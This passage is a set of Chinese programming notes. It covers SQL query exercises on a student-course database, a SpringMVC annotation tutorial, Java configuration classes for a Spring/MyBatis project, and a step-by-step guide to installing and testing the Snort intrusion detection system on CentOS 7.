第五步:以上述查询结果为筛选条件，从student表中查询出与1号学生学习的课程完全相同的其他学生的信息 SELECT s.* FROM student s WHERE sid IN (SELECT sid FROM sc WHERE sid NOT IN (SELECT sid FROM sc WHERE cid NOT IN (SELECT cid FROM sc WHERE sid = 1)) GROUP BY sid HAVING COUNT(*) = (SELECT COUNT(*) FROM sc WHERE sid =1) AND sid <> 1); /第十二题思路总结： 01号之外的其他学生可以分成两个大类，一类是选修了01号学生没有选修的课程的学生 另一类学生选修的课程是01号学生选修的课程的子集，这个子集是选修了和1号学生里的一门、多门、 采用逆向思维，可以先找出选修了01号学生没选课程的学生编号，然后以01号学生选修的课程数量为筛选条件， 从剩下的选修的课程是01号学生选修的课程的子集这类学生中筛选出与01号学生所选课程完全相同的学生编号， 此编号包含了01，以剔除了01之后的编号为筛选条件 从student表中选出和01号同学学习的课程完全相同的其他同学的信息/ （13）查询没学过"张三"老师讲授的任一门课程的学生信息 -- 第一步：张三老师tid是1，cid是2，逆向思维，查询学过"张三"老师讲授的任一门课程的学生编号 SELECT sc1.sid FROM sc sc1,course c,teacher t WHERE t.tid = c.tid AND sc1.cid = c.cid AND t.tname = '张三'; -- 第二步：以上查询结果为筛选条件，从student表中查询出没学过"张三"老师讲授的任一门课程的学生信息 SELECT s.* FROM student s WHERE s.sid NOT IN (SELECT sc1.sid FROM sc sc1,course c,teacher t WHERE t.tid = c.tid AND sc1.cid = c.cid AND t.tname = '张三'); （14）查询出只有两门课程的全部学生信息 SELECT s.* FROM student s,sc GROUP BY sc.sid HAVING COUNT(sc.sid) = 2 AND s.sid = sc.sid; （15）查询1990年出生的学生信息(注：student表中sage列的类型是datetime) -- 第一种写法： SELECT s.* FROM student s WHERE s.sage >= '1990-01-01' AND s.sage<='1990-12-31'; -- 第二种写法：模糊查询 SELECT s.* FROM student s WHERE s.sage LIKE '1990-%'; （16）查询每门课程的平均成绩，结果按平均成绩降序排列，平均成绩相同时，按课程编号升序排列 SELECT sc.cid,AVG(score) AS avg_score FROM sc GROUP BY sc.cid ORDER BY avg_score DESC,sc.cid ASC; （17）查询任何一门课程成绩在70分以上的姓名、课程名称和分数 SELECT s.sname,c.cname,sc.score FROM student s,course c,sc WHERE s.sid = sc.sid AND sc.cid = c.cid AND sc.score >= 70; （18）查询平均成绩大于等于85的所有学生的学号、姓名和平均成绩,并按照平均成绩降序排列 SELECT s.sid,s.sname,AVG(score) AS avg_score FROM student s,sc WHERE s.sid = sc.sid GROUP BY s.sid HAVING avg_score >= 85 ORDER BY avg_score DESC; （19）查询成绩不及格的课程和学生姓名 SELECT s.sname,c.cname,sc.score FROM student s,course c,sc WHERE s.sid = sc.sid AND sc.cid = c.cid AND sc.score < 60; （20）查询课程编号为1且课程成绩在80分以上的学生的学号和姓名 SELECT s.sid,s.sname FROM student s,sc WHERE s.sid = sc.sid AND sc.cid = 1 AND sc.score >= 80 GROUP BY s.`sid`; （21）求每门课程的学生人数 SELECT cid AS '课程编号',COUNT(sid) AS '课程人数' FROM sc GROUP BY sc.cid; （22）统计每门课程的学生选修人数（超过5人的课程才统计）。要求输出课程号和选修人数 SELECT cid AS '课程编号',COUNT(sid)AS '课程人数' FROM sc GROUP BY sc.cid HAVING COUNT(sid)>5 ORDER BY COUNT(sid),sc.cid ASC; （23）查询不同课程成绩相同的学生的学生编号、课程编号、学生成绩 SELECT s1.sid,sc1.cid,sc1.score,s2.sid,sc2.cid,sc2.score FROM student s1,student s2,sc sc1,sc sc2 WHERE s1.sid=sc1.sid AND s2.sid = sc2.sid AND sc1.cid <>sc2.cid AND sc1.score = sc2.score; （24）检索至少选修两门课程的学生学号 SELECT sid FROM sc GROUP BY sc.sid HAVING COUNT(cid)>=2; （25）查询选修了全部课程的学生信息 SELECT * FROM student s,sc WHERE s.sid =sc.sid GROUP BY s.sid HAVING COUNT(cid)=3; （26）查询各学生的年龄(年龄保留整数) SELECT s.sname,ROUND((TO_DAYS('2020-06-11')-TO_DAYS(s.sage))/365) AS age FROM student s; （27）查询本月过生日的学生姓名和出生年月 -- _____ :五个下划线长度 SELECT s.sname,s.sage FROM student s WHERE s.sage LIKE '_____07%'; （28）查询下月过生日的学生 SELECT s.sname,s.sage FROM student s WHERE s.sage LIKE '_____08%'; （29）查询学全所有课程的同学的信息 SELECT s.* FROM student s,sc WHERE s.sid = sc.sid GROUP BY s.sid HAVING COUNT(sc.cid) = 3;
SpringMVC注解式开发 1.1 @Controller ​ 传统的配置式开发中的控制器Controller类必须实现Controller接口，并实现接口中的HandleRequest()方法，还需要再配置文件中配置处理器映射，且一个处理器（控制器）只能有一个方法，为了实现程序功能，不得不创建大量的处理器（控制器）类，不够方便灵活。 ​ 而，注解开发中，将一个普通的类转化为控制器类只需要在该类的声明上添加@Controller注解即可。一个基于注解的控制器可以有多个方法，能大大减少处理器（控制器）类的数量。 ​ 要使注解被扫描到，必须在springmvc.xml中配置组件扫描器，代码如下： <context:component-scan base-package="com.deepfal.controller" /> 1.2 @RequestMapping定义请求规则 ​ 基于注解的控制器无须在xml配置文件中配置处理器映射器，仅需要用@RequestMapping对应控制器类中任意一个方法进行注解即可建立“请求/响应”映射关系，将客户端请求与处理器的方法一一对应。 ​ 通过@RequestMapping 注解可以定义处理器对于请求的映射规则。该注解可以注解在方法上，也可以注解在类上，但意义是不同的。value 属性值常以“/”开始。@RequestMapping 的 value 属性用于定义所匹配请求的 URI。 1.2.1 指定模块名称 ​ 一个@Controller 所注解的类中，可以定义多个处理器方法。当然，不同的处理器方法所匹配的 URI 是不同的。这些不同的 URI 被指定在注解于方法之上的@RequestMapping 的value 属性中。但若这些请求具有相同的 URI 部分，则这些相同的 URI部分可以被抽取到注解在类之上的@RequestMapping 的 value 属性中。此时的这个 URI 表示模块（相当于包）的名称。URI 的请求是相对于 Web 的根目录。换个角度说，要访问处理器的指定方法，必须要在方法指定 URI 之前加上处理器类前定义的模块名称。 示例： 提取后 @Controller @RequestMapping("/zar") public class HelloSpringMvc { //相当于一个控制器处理的方法 @RequestMapping("/hello") public String one() { return "main"; } @RequestMapping("/two") public String two() { return "main"; } //客户端的请求： // // } 1.2.2 对请求提交方式的定义 ​ 对于@RequestMapping，其有一个属性 method，用于对被注解方法所处理请求的提交方式进行限制，即只有满足该 method 属性指定的提交方式的请求，才会执行该被注解方法。Method 属性的取值为 RequestMethod 枚举常量。常用的为 RequestMethod.GET 与RequestMethod.POST，分别表示提交方式的匹配规则为 GET 与 POST 提交。 @RequestMapping(value = "/hello",method = RequestMethod.POST) public String one() { return "main"; } 以上处理器方法只能处理 POST 方式提交的请求。 客户端浏览器常用的请求方式，及其提交方式有以下几种： 也就是说，只要指定了处理器方法匹配的请求提交方式为 POST，则相当于指定了请求发送的方式：要么使用表单请求，要么使用 AJAX 请求。其它请求方式被禁用。 当然，若不指定 method 属性，则无论是 GET 还是 POST 提交方式，均可匹配。即对于请求的提交方式无要求。 （1）post提交方式 （2）get提交方式 1.3 数据提交的方式 前四种数据注入的方式，会自动进行类型转换。但无法自动转换日期类型。 （1）单个数据（基本数据类型）注入 在方法中声明一个和表单提交的参数名称相同的参数，由框架按照名称直接注入。 （2）对象封装注入 在方法中声明一个自定义的实体类参数，框架调用实体类中相应的setter方法注入属性值，只要保证实体类中成员变量的名称与提交请求的name属性值一致即可。 实体Bean含对象属性 比如：Student对象，其中有一个Address的对象属性，在Address对象中有country和city两个基本类型的属性。 对象数据提交 姓名： 年龄： 国家： 城市： （3）动态占位符提交/路径变量（仅用于超链接） ​ 使用框架提供的一个注解@PathVariable，将请求url中的值作为参数进行提取，只能是超链接。restful风格下的数据提取方式。restful是一种软件架构风格、设计风格，而不是标准，只是提供了一组设计原则和约束条件。它主要用于客户端和服务器交互类的软件。基于这个风格设计的软件可以更简洁，更有层次，更易于实现缓存等机制。 ​ RESTful风格是把请求参数变为请求路径的一种编程风格。通过路径变量的使用，可以实现RESTful风格的编程。 ​ 中文乱码： ​ 由于tomcat默认使用ISO-8859-1对接收的文本编码，因此要获得正确中文有两种解决方式： 自己转码 使用如下转码方式。先把name以ISO-8859-1再编码，还原成字节数组，再用UTF-8进行解码，即可获得正确中文。 String newName=new String(name.getBytes("ISO-8859-1"),"UTF-8"); 修改tomcat | conf | server.xml 在server.xml的Connect中添加URIEncoding="utf-8"，这样默认就是用utf-8解码了，参数绑定中文也可以正确显示： <Connector port="8080" protocol="HTTP/1.1" connectionTimeout="20000" redirectPort="8443" URIEncoding="utf-8"/> 对于maven中的tomcat插件，需要添加如下配置： <plugin> <groupId>org.apache.tomcat.maven</groupId> <artifactId>tomcat7-maven-plugin</artifactId> <version>2.2</version> <configuration> <uriEncoding>UTF-8</uriEncoding> </configuration> </plugin> 另，web.xml配置的filter只对post请求有效,因此对此问题不是解决之道。 （4）请求参数名称与形参名称不一致 请求与形参中的名字不对应，可以使用 @RequestParam(value="name1",required=true) String namea来进行参数名称绑定。 （5）数组类型的请求参数 @RequestMapping("/arrayParam") public String arrayParam(String[] hobby){ System.out.println("我的爱好："); for(String s:hobby){ System.out.println(s); } return "main"; } （6）使用HttpServletRequest对象提取 在方法参数中声明一个request对象，使用request的getParameter()获取表单提交的数据，这样得到的数据还要手工进行数据类型的转换。 public String five(HttpServletRequest request){ int age=new Integer(request.getParameter("stuage")); String name=request.getParameter("stuname"); System.out.println(age+"*********"+name); return "main"; } 1.4 请求参数中文乱码解决 ​ 对于前面所接收的请求参数，若含有中文，则会出现中文乱码问题。Spring 对于请求参数中的中文乱码问题，给出了专门的字符集过滤器： spring-web-5.2.5.RELEASE.jar 的org.springframework.web.filter 包下的 CharacterEncodingFilter 类。 （1）解决方案 ​ 在 web.xml 中注册字符集过滤器，即可解决 Spring 的请求参数的中文乱码问题。不过，最好将该过滤器注册在其它过滤器之前。因为过滤器的执行是按照其注册顺序进行的。 （2）源码分析 1.5 处理器方法的返回值 使用@Controller 注解的处理器的方法，其返回值常用的有四种类型： Ø 第一种：ModelAndView Ø 第二种：String Ø 第三种：无返回值void Ø 第四种：返回对象类型 1.4.1 返回 ModelAndView ​ 若处理器方法处理完后，需要跳转到其它资源，且又要在跳转的资源间传递数据，此时处理器方法返回 ModelAndView 比较好。当然，若要返回 ModelAndView，则处理器方法中需要定义 ModelAndView 对象。在使用时，若该处理器方法只是进行跳转而不传递数据，或只是传递数据而并不向任何资源跳转（如对页面的 Ajax 异步响应），此时若返回 ModelAndView，则将总是有一部分多余：要么 Model 多余，要么 View 多余。即此时返回 ModelAndView 将不合适。较少使用。 1.4.2 返回 String ​ 处理器方法返回的字符串可以指定逻辑视图名，通过视图解析器解析可以将其转换为物理视图地址。 当然，也可以直接返回资源的物理视图名。不过，此时就不需要再在视图解析器中再配置前辍与后辍了。 ​ 使用ModelAndView对象作为控制器方法的返回值类型，可以很好地同时解决跳转路径和携带数据的问题，但String作为控制器方法的返回值类型只解决了跳转路径问题，如果跳转到目标页面同时还需要携带数据怎么办呢？有3个解决方案： 使用方法中的Model参数 使用方法中的HttpServletRequest对象 使用方法中的HttpSession对象 1.4.3 无返回值void ​ 对于处理器方法返回 void 的应用场景，应用在AJAX 响应处理。若处理器对请求处理后，无需跳转到其它任何资源，此时可以让处理器方法返回 void。我们SSM整合案例中的分页使用的就是无返回值。代码见后面。 通过jackson-databind把对象转换为json字符串。 1.4.4 返回对象Object ​ 处理器方法也可以返回 Object 对象。这个 Object 可以是 Integer，自定义对象，Map，List 等。但返回的对象不是作为逻辑视图出现的，而是作为直接在页面显示的数据出现的。返回对象，需要使用@ResponseBody 注解，将转换后的 JSON 数据放入到响应体中。Ajax请求多用于Object返回值类型。由于转换器底层使用了Jackson 转换方式将对象转换为JSON 数据，所以需要添加Jackson的相关依赖。 项目案例:使用ajax请求返回一个JSON结构的学生. 实现步骤: A.在pom.xml文件中添加依赖 <dependency> <groupId>com.fasterxml.jackson.core</groupId> <artifactId>jackson-databind</artifactId <version>2.9.8</version> </dependency> B.在页面添加jQuery的函数库的引用 C.发送ajax请求 function show() { $.ajax({ url:"${pageContext.request.contextPath}/ajax", type:"post", dataType:"json", success:function (stu) { $("#oneStu").html(stu.name+"------"+stu.age); } }); } D.开发action @Controller public class AjaxDemo { @RequestMapping("/ajax") @ResponseBody //此注解用来解析ajax请求 public Object ajax(){ Student stu = new Student("张三",22); return stu; } } E.在springmvc.xml文件中添加注解驱动 <mvc:annotation-driven /> F.index.jsp页面 ajax访问服务器,返回一个学生 Ajax/JSON专项突破： 服务端接收对象返回 JSON 字符串 objectMapper.writeValueAsString(user); 服务端接收Bean返回 JSON 对象 @ResponseBody 服务端接收属性返回 JSON 对象 客户端发送 JSON 字符串返回 JSON 字符串 数据接收与返回的限制 @RequestMapping(consumes="application/json",produces="application/json") consumes限制前台传递过来的数据格式必须是JSON produces设置返回的数据要转成JSON对象并回传给客户端 直接输出响应字符串 前端JSON字符串和对象的相互转换： //1.用于将服务端传回来的JSON字符串解释转化为JSON对象 var jsonobject = JSON.parse(data); //2.JSON对象转化为字符串 var jsonObj = {username:"张三",password:"123"};//定义一个JSON对象 var jsonStr = JSON.stringify(jsonObj); 1.6 SpringMVC的四种跳转方式 ​ 默认的跳转是请求转发，直接跳转到jsp页面展示，还可以使用框架提供的关键字redirect:，进行一个重定向操作，包括重定向页面和重定向action，使用框架提供的关键字forward:，进行服务器内部转发操作，包括转发页面和转发action。当使用redirect:和forward:关键字时，视图解析器中前缀后缀的拼接就无效了。 页面部分： 请求转发页面(默认) 请求转发action 重定向页面 重定向action Controller部分： @Controller public class JumpAction { @RequestMapping("/one") public String one(){ System.out.println("请求转发页面(默认)"); //以前的访问方式 //request.getRequestDispatcher("/admin/main.jsp").forward(request,response); //观察地址栏的变化: http://localhost:8080/one.action //return "main"; //默认的访问方式是自动拼接前缀和后缀进行跳转 return "forward:/fore/user.jsp";//只要使用了forward:就可以屏蔽前缀和后缀的拼接,自己手工构建返回的全部路径+.jsp } @RequestMapping("/two") public String two(){ System.out.println("请求转发action"); //观察地址栏的变化: http://localhost:8080/two.action return "forward:/other.action"; //不使用forward:,就会是这样的路径 /admin/other.action/.jsp } @RequestMapping("/three") public String three(){ System.out.println("重定向页面"); //观察地址栏的变化 http://localhost:8080/admin/main.jsp return "redirect:/admin/main.jsp";//只要使用了redirect:就可以屏蔽前缀和后缀的拼接 } @RequestMapping("/four") public String four(){ System.out.println("重定向action"); //观察地址栏的变化 http://localhost:8080/other.action return "redirect:/other.action";//只要使用了redirect:就可以屏蔽前缀和后缀的拼接 } } 1.7 SpringMVC支持的默认参数类型 这些类型只要写在方法参数中就可以使用了。 1）HttpServletRequest 对象 2）HttpServletResponse 对象 3）HttpSession 对象 4）Model/ModelMap 对象 5）Map<String,Object>对象 示例： @Controller public class ParamAction { @RequestMapping("/param") public String param(HttpServletRequest request, HttpServletResponse response, HttpSession session, Model model, ModelMap modelMap, Map map){ //Map ,Model,ModelMap,request都使用请求作用域进行传值, //所以必须使用请求转发的方式进行跳转,否则丢失数据 Student stu = new Student("张三",22); request.setAttribute("requestStu",stu); session.setAttribute("sessionStu",stu); modelMap.addAttribute("modelMapStu",stu); model.addAttribute("modelStu",stu); map.put("mapStu",stu); return "main"; //切记请求转发跳 // return "redirect:/admin/main.jsp";//会丢失数据 } } 注意Model,Map,ModelMap都使用的是request请求作用域,意味着只能是请求转发后,页面才可以得到值。 1.8 日期处理 1.8.1 日期注入 日期类型不能自动注入到方法的参数中。需要单独做转换处理。使用@DateTimeFormat注解，需要在springmvc.xml文件中添加标签。 （1）在方法的参数上使用@DateTimeFormat注解 @RequestMapping("/submitone") public String submitdateone( @DateTimeFormat(pattern="yyyy-MM-dd") Date mydate){ System.out.println(mydate); return "dateShow"; } （2）在类的成员setXXX()方法上使用@DateTimeFormat注解 @DateTimeFormat(pattern="yyyy-MM-dd") public void setDate(Date date) { this.date = date; } 但这种解决方案要在每个使用日期类型的地方都去添加使用@DateTimeFormat注解，比较麻烦，我们可以使用@InitBinder注解来进行类中统一日期类型的处理。 （3）@InitBinder注解解决类中日期问题 @InitBinder public void initBinder(WebDataBinder dataBinder) { SimpleDateFormat sf = new SimpleDateFormat("yyyy-MM-dd"); dataBinder.registerCustomEditor(Date.class, new CustomDateEditor(sf, true)); } 这样在类中出现的所有日期都可以进行转换了。 1.8.2 日期显示 （1）JSON中的日期显示 需要在类中的成员变量的getXXX方法上加注解. @JsonFormat(pattern="yyyy-MM-dd HH:mm:ss") public Date getDate() { return date; } （2）JSP页面的日期显示 需要使用国际化标签，先添加依赖 <dependency> <groupId>jstl</groupId> <artifactId>jstl</artifactId> <version>1.2</version> </dependency> 导入国际化的标签库 <%@taglib prefix="fmt" uri="http://java.sun.com/jsp/jstl/fmt" %> 再使用标签显示日期 <c:forEach items="${list}" var="stu"> ${stu.name}-------${stu.age}-------<fmt:formatDate value="${stu.date}" pattern="yyyy-MM-dd"></fmt:formatDate> </c:forEach> 1.9 < mvc:annotation-driven/>标签的使用 < mvc:annotation-driven/>会自动注册两个bean，分别为DefaultAnnotationHandlerMapping和AnnotationMethodHandlerAdapter。是springmvc为@Controller分发请求所必须的。除了注册了这两个bean，还提供了很多支持。 1）支持使用ConversionService 实例对表单参数进行类型转换； 2）支持使用 @NumberFormat 、@DateTimeFormat； 3）注解完成数据类型的格式化； 4）支持使用 @RequestBody 和 @ResponseBody 注解； 5）静态资源的分流也使用这个标签; 1.10 资源在WEB-INF目录下 ​ 很多企业会将动态资源放在WEB-INF目录下，这样可以保证资源的安全性。在WEB-INF目录下的动态资源不可以直接访问，必须要通过请求转发的方式进行访问。这样避免了通过地址栏直接对资源的访问。重定向也无法访问动态资源。 项目案例： 页面结构图： action: @Controller public class ShowAction { @RequestMapping("/showIndex") public String showIndex(){ System.out.println("index............."); return "index"; } @RequestMapping("/showMain") public String showMain(){ System.out.println("main............."); return "main"; } @RequestMapping("/showLogin") public String showLogin(){ System.out.println("login............."); return "login"; } @RequestMapping("/login") public String login(String name, String pwd, HttpServletRequest request){ if("admin".equals(name) && "123".equals(pwd)){ return "main"; } request.setAttribute("msg","用户名或密码不正确!"); return "login"; } } 运行结果：
SSM整合相关纯注解配置类 备忘 纯注解配置类，包含Servlet,SpringMVC，Spring，MyBatis 组件名(artifactId) 版本号 javax.servlet-api 4.0.1 javax.servlet.jsp-api 2.3.3 spring-webmvc 5.2.10.RELEASE mysql-connector-java 5.1.49 spring-jdbc 5.2.10.RELEASE druid 1.2.17 mybatis 3.5.13 mybatis-spring 2.1.1 Servlet配置类 ServletConfig.java package com.deepfal.config; import org.springframework.web.filter.CharacterEncodingFilter; import org.springframework.web.servlet.support.AbstractAnnotationConfigDispatcherServletInitializer; import javax.servlet.Filter; /** * AbstractAnnotationConfigDispatcherServletInitializer是一个Spring框架中的抽象类,它用来配置使用基于Java的Spring配置(基于注解的配置) instead of the traditional web.xml file的Web应用程序。 * * 它扩展了AbstractDispatcherServletInitializer类,并重写了特定的方法来指定Java @Configuration类的位置,DispatcherServlet的映射以及DispatcherServlet的名称。 * * 关于AbstractAnnotationConfigDispatcherServletInitializer的一些关键点: * * 这是一个抽象类,需要扩展它并提供应用程序特定的配置。 * getRootConfigClasses()方法返回配置根应用程序上下文的@Configuration类数组,这个上下文由ContextLoaderListener加载。 * getServletConfigClasses()方法返回配置dispatcher servlet应用程序上下文的@Configuration类。 * getServletMappings()方法返回DispatcherServlet的servlet映射,默认映射到"/"。 * 所以总结一下,它提供了一种基于Java的方式来配置DispatcherServlet以及根应用程序上下文,作为web.xml的替代方案。扩展这个类并重写方法可以只使用Java代码而不需要web.xml就配置一个Spring MVC web应用程序。 */ public class ServletConfig extends AbstractAnnotationConfigDispatcherServletInitializer { //加载Spring容器 @Override protected Class<?>[] getRootConfigClasses() { return new Class[]{SpringConfig.class}; } //指向SpringMvc配置类，加载SpringMVC容器 @Override protected Class<?>[] getServletConfigClasses() { return new Class[]{SpringMvcConfig.class}; } //将哪些请求发给SpringMVC处理 @Override protected String[] getServletMappings() { return new String[]{"/"}; } //编码过滤器（仅对Body生效） @Override protected Filter[] getServletFilters() { CharacterEncodingFilter filter = new CharacterEncodingFilter(); filter.setEncoding("UTF-8"); return new Filter[]{filter}; } } SpringMVC配置类 SpringMvcConfig.java package com.deepfal.config; import org.springframework.context.annotation.ComponentScan; import org.springframework.context.annotation.Configuration; import org.springframework.web.servlet.config.annotation.EnableWebMvc; /** * SpringMvc配置类 * 已配置： * Bean扫描器 * 激活WebMvc功能(主要用于处理REST风格的json数据) */ //声明配置类 @Configuration //Bean扫描器，入参为数组或包名，指向要扫描的包 @ComponentScan({"com.deepfal.controller","com.deepfal.config"}) //@EnableWebMvc是一个Spring MVC框架提供的注解，它的作用是启用Spring MVC框架的默认配置，例如消息转换器，格式化器和验证器等。它还启用了Spring MVC的注解驱动，这样就可以使用注解来处理HTTP请求和响应。 //这里主要用于将对象和json互相转换，用于REST风格 @EnableWebMvc public class SpringMvcConfig { } Spring配置类 SpringConfig.java package com.deepfal.config; import org.springframework.context.annotation.*; import org.springframework.transaction.annotation.EnableTransactionManagement; /** * Spring配置类 * 已配置： * Bean扫描器 * 属性文件源加载器 * 引入了jdbc和mybatis的配置Bean * 激活了事务管理功能 */ //声明配置类 @Configuration //Bean扫描器 @ComponentScan("com.deepfal.service") //引入属性资源，用于Jdbc调用连接数据库的参数 @PropertySource("classpath:jdbc.properties") //引入配置Bean @Import({JdbcConfig.class,MyBatisConfig.class}) //启用事务管理器 @EnableTransactionManagement public class SpringConfig { } 配置拦截器放行静态资源 SpringMvcSupport.java package com.deepfal.config; import com.deepfal.config.filter.LoginCheckFilter; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.context.annotation.Configuration; import org.springframework.web.servlet.config.annotation.InterceptorRegistry; import org.springframework.web.servlet.config.annotation.ResourceHandlerRegistry; import org.springframework.web.servlet.config.annotation.WebMvcConfigurationSupport; import javax.servlet.Filter; /** * 配置放行静态资源 * 不走SpringMVC处理 */ @Configuration public class SpringMvcSupport extends WebMvcConfigurationSupport { @Override protected void addResourceHandlers(ResourceHandlerRegistry registry) { registry.addResourceHandler("/pages/**").addResourceLocations("/pages/"); } } Jdbc配置类 JdbcConfig.java package com.deepfal.config; import com.alibaba.druid.pool.DruidDataSource; import org.springframework.beans.factory.annotation.Value; import org.springframework.context.annotation.Bean; import org.springframework.jdbc.datasource.DataSourceTransactionManager; import org.springframework.transaction.PlatformTransactionManager; import javax.sql.DataSource; /** * Jdbc配置Bean * 已配置： * Druid连接池 * 平台事务管理器 */ public class JdbcConfig { //从Spring配置类中指向的属性资源文件读取属性 @Value("${jdbc.driver}") String driver; @Value("${jdbc.url}") String url; @Value("${jdbc.username}") String username; @Value("${jdbc.password}") String password; //配置Druid数据连接池Bean @Bean public DataSource dataSource(){ DruidDataSource dataSource = new DruidDataSource(); dataSource.setDriverClassName(driver); dataSource.setUrl(url); dataSource.setUsername(username); dataSource.setPassword(password); return dataSource; } //平台事务管理器Bean @Bean public PlatformTransactionManager platformTransactionManager(DataSource dataSource){ DataSourceTransactionManager dataSourceTransactionManager = new DataSourceTransactionManager(); dataSourceTransactionManager.setDataSource(dataSource); return dataSourceTransactionManager; } } MyBatis配置类 MyBatisConfig.java package com.deepfal.config; import org.mybatis.spring.SqlSessionFactoryBean; import org.mybatis.spring.mapper.MapperScannerConfigurer; import org.springframework.context.annotation.Bean; import javax.sql.DataSource; /** * MyBatis配置Bean * 已配置： * Sql会话工厂Bean * Mapper扫描器 */ public class MyBatisConfig { @Bean public SqlSessionFactoryBean sqlSessionFactory(DataSource dataSource){ SqlSessionFactoryBean factoryBean = new SqlSessionFactoryBean(); factoryBean.setDataSource(dataSource); factoryBean.setTypeAliasesPackage("com.deepfal.pojo"); return factoryBean; } @Bean public MapperScannerConfigurer mapperScannerConfigurer(){ MapperScannerConfigurer msc = new MapperScannerConfigurer(); msc.setBasePackage("com.deepfal.dao"); return msc; } }
Snort 安装与配置(CentOS 7) ​ Snort 是免费 NIPS 以及 NIDS 软件，具有对数据流量分析和对网络数据包进行分析处理的能力，通过灵活可定制的规则库（Rules），可对处理的报文内容进行搜索和匹配，能够检测出各种攻击，并进行实时预警。 ​ Snort 支持三种工作模式：嗅探器、数据包记录器、网络入侵检测系统，支持多种操作系统，如 Fedora、CentOS、FreeBSD、Windows 等，本次实验使用 CentOS 7 系统安装 Snort 3。 前置工作 根据实际网络连接情况配置网卡信息，使能够连通互联网。 更新 Yum 源和软件包： # sudo yum clean all # sudo yum makecache # sudo yum -y update 安装Wget，准备使用网络下载所需资源： # sudo yum install -y wget 安装 EPEL 源： # sudo yum install -y epel-release 安装所需组件： # sudo yum install -y gcc flex bison zlib zlib-devel libpacp libpacp-devel pcre pcre-devel libdnet libdnet-devel tcpdump 安装 Snort&daq 使用官网预编译的 rpm 安装包安装 Snort&daq： # cd ~ # wget https://snort.org/downloads/archive/snort/daq-2.0.6-1.centos7.x86_64.rpm # wget https://snort.org/downloads/archive/snort/snort-2.9.9.0-1.centos7.x86_64.rpm # sudo yum install ./daq-2.0.6-1.centos7.x86_64.rpm -y # sudo yum install ./snort-2.9.9.0-1.centos7.x86_64.rpm -y 配置 Snort ​ Snort官方提供三种下载规则：Community rules、Registered rules、Subscriber rules，第一种是社区规则，无需注册购买即可下载使用，第二种是注册规则，需要在官方注册账户后可下载使用，第三种必须要付费订阅才可使用。这里使用第一种 Community rules。 下载解压 Community rules 规则： # cd ~ # wget https://www.snort.org/rules/community -O ~/community.tar.gz # sudo tar -xvf ~/community.tar.gz -C ~/ # sudo sudo cp ~/community-rules/* /etc/snort/rules 创建所需要的文件和目录，在前面的操作中，有些目录已经自动创建好了，所以创建目录时看到”目录已存在“的提示无须担心： # sudo mkdir /var/log/snort # sudo mkdir /usr/local/lib/snort_dynamicrules # sudo mkdir /etc/snort/rules # sudo touch /etc/snort/rules/white_list.rules # sudo touch /etc/snort/rules/black_list.rules 编辑 Snort 配置文件 # sudo vi /etc/snort/snort.conf 找到 var RULE_PATH ../rules 及相邻的四条配置信息，修改路径变量为： var RULE_PATH /etc/snort/rules var SO_RULE_PATH /etc/snort/so_rules var PREPROC_RULE_PATH /etc/snort/preproc_rules var WHITE_LIST_PATH /etc/snort/rules var BLACK_LIST_PATH /etc/snort/rules 设置日志目录：找到关键词 # config logdir: ，取消注释后将该行修改为 config logdir: /var/log/snort 配置输出插件，找到关键词 # output unified2: ，取消注释后将该行 修改为 output unified2: filename snort.log, limit 128 配置 Snort 启动时需要加载的自定义规则项：找到关键词 # include local.rules，取消注释 local.rules文件，添加Community rules规则，后面的 include 均注释掉，如图： 一直注释到 Step 8 附近！ 编辑完成后保存退出。 测试 Snort 编写测试用 local.rules ，因为在 snort.conf 配置文件中读取了该规则文件，这个Snort规则(alert)是用来在检测传入本地网络($HOME_NET)的 ICMP 数据包的，输出一个名为"ICMP test"的警报消息，生成事件ID(sid)为10000001，当触发这个规则时，它将记录与之关联的警报或日志信息。 更多Snort规则编写方法详见官方文档。 # cd /etc/snort/rules # echo 'alert icmp any any -> $HOME_NET any (msg:"ICMP test"; sid:10000001;)' > local.rules 使用以下命令测试 Snort 是否配置正确 # snort -T -i ens32 -c /etc/snort/snort.conf 出现 "Snort successfully validated configuration!"即为配置成功！ 测试规则 # sudo snort -A console -i ens32 -u snort -g snort -c /etc/snort/snort.conf 如果您不确定要使用哪个接口，您还可以在服务器上使用以下命令： # ip addr 输出将列出当前配置的所有网络接口。查找具有预期 IP 地址的那个，通常是 eth0 或 ens32(虚拟机)。 在 Snort 启动并运行之后，其他设备对该 CentOS 发送ICMP请求时(通常是 ping )。您应该在运行Snort的终端中看到每个ICMP请求的告警。 04/21-11:11:37.078880 [**] [1:10000001:0] ICMP test [**] [Priority: 0] {ICMP} 192.168.31.21 -> 192.168.31.141 告警显示后，您可以使用 ctrl + C 停止Snort。 Snort 将警报记录到 /var/log/snort/snort.log.时间戳 ，其中时间戳是以 Unix 时间标记的 Snort 启动的时间点。可以使用下面的命令读取日志。由于只运行过一次 Snort，因此只有一个日志，可使用 Tab 自动补全文件名。 # snort -r /var/log/snort/snort.log. 日志显示每个 ICMP 请求的告警，其中包含源和目标 IP、时间和日期，以及以下示例中显示的一些其他信息。 在后台运行 Snort 最后，如果你想在后台运行Snort作为服务，你应该从Snort文档下载启动脚本。 如果您使用 yum 安装了 Snort，您应该已经配置了启动脚本。按如下所述启动服务。 使用以下命令获取并安装系统的启动脚本。 # wget https://www.snort.org/documents/snort-startup-script-for-centos -O ~/snortd # sudo chmod 755 ~/snortd && sudo mv ~/snortd /etc/init.d/ 重新加载系统守护程序： # sudo systemctl daemon-reload 启动 Snort 服务 # sudo systemctl start snortd 启动脚本还包括其他常用的 systemctl 命令：stop、restart和status。例如，可以使用以下命令检查服务的状态： # sudo systemctl status snortd 恭喜，您现在应该已经成功地配置并测试了一个基于网络的入侵检测系统。然而，这篇指南仅涵盖了关于Snort和NIDS的基础知识介绍。如果想了解更多使用方法，请查看Snort文档页面上的部署指南，或者直接使用官方的Snort规则编写文档编写自己的检测规则。
